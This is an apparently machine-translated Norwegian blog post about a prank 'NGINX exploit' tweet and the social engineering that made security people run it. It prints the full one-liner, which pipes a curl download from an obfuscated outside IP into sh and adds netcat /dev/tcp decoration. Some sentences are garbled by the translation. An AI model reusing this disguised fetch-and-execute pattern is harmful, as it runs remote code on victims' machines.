Merk. overs.:
TL;DR: Ikke bruk filpipelining i sh eller bash under noen omstendigheter. Dette er en fin måte å miste kontrollen over datamaskinen på.
Jeg vil dele med deg en kort historie om en komisk PoC-utnyttelse som ble opprettet 31. mai. Han dukket opp umiddelbart som svar på nyheter fra
Etter å ha jobbet ferdig med en ny tilsløringsteknikk i curl, siterte jeg den originale tweeten og "lekket en fungerende PoC" bestående av en enkelt kodelinje som visstnok utnytter den oppdagede sårbarheten. Dette var selvfølgelig fullstendig tull. Jeg antok at jeg umiddelbart ville bli avslørt, og at jeg i beste fall ville få et par retweets (velvel).
Jeg kunne imidlertid ikke forestille meg hva som skjedde videre. Tweeten mins popularitet skjøt i været. Overraskende nok, for øyeblikket (15 Moskva-tid 00. juni) er det få som har innsett at dette er en forfalskning. Mange retweeter det uten å sjekke det i det hele tatt (for ikke å snakke om å beundre den nydelige ASCII-grafikken den sender ut).
Bare se så vakkert det er!
Selv om alle disse løkkene og fargene er flotte, er det tydelig at folk måtte kjøre kode på maskinen for å se dem. Heldigvis fungerer nettlesere på samme måte, og kombinert med det faktum at jeg egentlig ikke ønsket å havne i juridiske problemer, var koden som var begravd på siden min, bare foreta ekko-anrop uten å forsøke å installere eller utføre noen tilleggskode.
Liten digresjon:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Sosio-elektronisk ingeniørfag (SEE) - mer enn bare phishing
Sikkerhet og fortrolighet var en viktig del av dette eksperimentet. Jeg tror det var de som førte til suksessen hans. Kommandolinjen antydet tydelig sikkerhet ved å referere til "127.0.0.1" (den velkjente lokale verten). Localhost anses som sikkert og dataene på den forlater aldri datamaskinen din.
Kjennskap var den andre nøkkelen SEE-komponenten i eksperimentet. Siden målgruppen først og fremst bestod av personer som var kjent med det grunnleggende innen datasikkerhet, var det viktig å lage kode slik at deler av den virket kjent og kjent (og derfor trygg). Å låne elementer fra gamle utnyttelseskonsepter og kombinere dem på en uvanlig måte har vist seg å være svært vellykket.
Nedenfor er en detaljert analyse av one-liner. Alt på denne listen slites kosmetisk natur, og praktisk talt ingenting kreves for den faktiske driften.
Hvilke komponenter er egentlig nødvendige? Dette -gsS
, -O 0x0238f06a
, |sh
og selve webserveren. Nettserveren inneholdt ingen ondsinnede instruksjoner, men serverte bare ASCII-grafikk ved hjelp av kommandoer echo
i manuset i index.html
. Når brukeren skrev inn en linje med |sh
i midten, index.html
lastet og utført. Heldigvis hadde vokterne av webserveren ingen dårlige hensikter.
-
../../../%00
— representerer å gå utover katalogen; -
ngx_stream_module.so
— bane til en tilfeldig NGINX-modul; -
/bin/sh%00<'protocol:TCP'
- Vi lanserer visstnok/bin/sh
på målmaskinen og omdirigere utgangen til TCP-kanalen; -
-O 0x0238f06a#PLToffset
- hemmelig ingrediens, supplert#PLToffset
, for å se ut som en minneoffset på en eller annen måte inneholdt i PLT; -
|sh;
- et annet viktig fragment. Vi trengte å omdirigere utdataene til sh/bash for å utføre koden som kommer fra den angripende webserveren som ligger på0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- en dummy som netcat refererer til/dev/tcp/localhost
slik at alt ser trygt ut igjen. Faktisk gjør det ingenting og er inkludert i linjen for skjønnhet.
Dette avslutter dekodingen av enlinjeskriptet og diskusjonen om aspekter ved "sosio-elektronisk ingeniørkunst" (intrikat phishing).
Webserverkonfigurasjon og mottiltak
Siden det store flertallet av abonnentene mine er infosec/hackere, bestemte jeg meg for å gjøre nettserveren litt mer motstandsdyktig mot uttrykk for "interesse" fra deres side, bare for at gutta skulle ha noe å gjøre (og det ville vært gøy å sette opp). Jeg skal ikke liste opp alle fallgruvene her siden eksperimentet fortsatt pågår, men her er et par ting serveren gjør:
- Overvåker aktivt distribusjonsforsøk på visse sosiale nettverk og erstatter ulike forhåndsvisningsminiatyrbilder for å oppmuntre brukeren til å klikke på lenken.
- Omdirigerer Chrome/Mozilla/Safari/etc til Thugcrowd-kampanjevideoen i stedet for å vise shell-skriptet.
- Ser etter åpenbare tegn på inntrenging/åpenbar hacking, og begynner deretter å omdirigere forespørsler til NSA-servere (ha!).
- Installerer en trojaner, så vel som et BIOS-rootkit, på alle datamaskiner hvis brukere besøker verten fra en vanlig nettleser (bare tuller!).
En liten del av antimers
I dette tilfellet var mitt eneste mål å mestre noen av funksjonene til Apache – spesielt de kule reglene for å omdirigere forespørsler – og jeg tenkte: hvorfor ikke?
NGINX Exploit (Ekte!)
Abonner på
Kilde: www.habr.com